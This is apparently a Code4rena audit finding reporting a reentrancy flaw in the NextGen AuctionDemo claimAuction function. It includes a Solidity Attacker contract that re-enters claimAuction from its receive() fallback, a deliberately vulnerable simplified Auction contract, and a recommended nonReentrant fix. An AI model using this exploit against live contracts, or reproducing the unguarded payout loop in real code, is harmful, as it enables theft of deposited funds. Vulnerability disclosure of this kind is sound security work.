NextGen - 0xAleko's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L113 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L116

Vulnerability details

Impact

Either the winner or the owner() could be a malicious smart contract with a receive() fallback function. Once claimAuction is called by either the winner or an admin, the attacker's fallback function could repeatedly invoke claimAuction until the balance of the Auction contract is depleted.

Proof of Concept

I've configured a simple attacker contract in Remix. I believe there's no need to demonstrate a proof of concept using a test file, as the process is quite straightforward.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

contract Attacker {
    Auction public _auction;

    constructor(address auction_) {
        _auction = Auction(auction_);
    }

    receive() external payable {
        if (address(_auction).balance > 1 ether) {
            _auction.claimAuction(1);
        }
    }

    function balanceOf() public view returns (uint256) {
        return address(this).balance;
    }

    function participiate() external payable {
        _auction.setAuctionInfo{value: msg.value}();
    }
}

contract Auction {

    address owner;

    constructor() {
        owner = msg.sender;
    }

    // auction Bidders
    struct auctionInfoStru {
        address bidder;
        uint256 bid;
        bool status;
    }

    // mapping of collectionSecondaryAddresses struct
    mapping (uint256 => auctionInfoStru[]) public auctionInfoData;

    function setAuctionInfo() external payable {
        require(msg.value > returnHighestBid(1));
        auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true);
        auctionInfoData[1].push(newBid);
    }

    function returnHighestBid(uint256 _tokenid) public view returns (uint256) {
        uint256 index;
        if (auctionInfoData[_tokenid].length > 0) {
            uint256 highBid = 0;
            for (uint256 i=0; i< auctionInfoData[_tokenid].length; i++) {
                if (auctionInfoData[_tokenid][i].bid > highBid && auctionInfoData[_tokenid][i].status == true) {
                    highBid = auctionInfoData[_tokenid][i].bid;
                    index = i;
                }
            }
            if (auctionInfoData[_tokenid][index].status == true) {
                return highBid;
            } else {
                return 0;
            }
        } else {
            return 0;
        }
    }

    function returnHighestBidder(uint256 _tokenid) public view returns (address) {
        uint256 highBid = 0;
        uint256 index;
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i++) {
            if (auctionInfoData[_tokenid][i].bid > highBid && auctionInfoData[_tokenid][i].status == true) {
                index = i;
            }
        }
        if (auctionInfoData[_tokenid][index].status == true) {
                return auctionInfoData[_tokenid][index].bidder;
            } else {
                revert("No Active Bidder");
        }
    }

    function claimAuction(uint256 _tokenid) public {
        uint256 highestBid = returnHighestBid(_tokenid);
         address highestBidder = returnHighestBidder(_tokenid);
         for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(owner).call{value: highestBid}("");
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
            } else {}
        }
    }
}

Tools Used

Manual review, remix

Recommended Mitigation Steps

use nonReentrant modifier from ReentrancyGuard of OZ/Solady/Solmate.

Assessed type

Reentrancy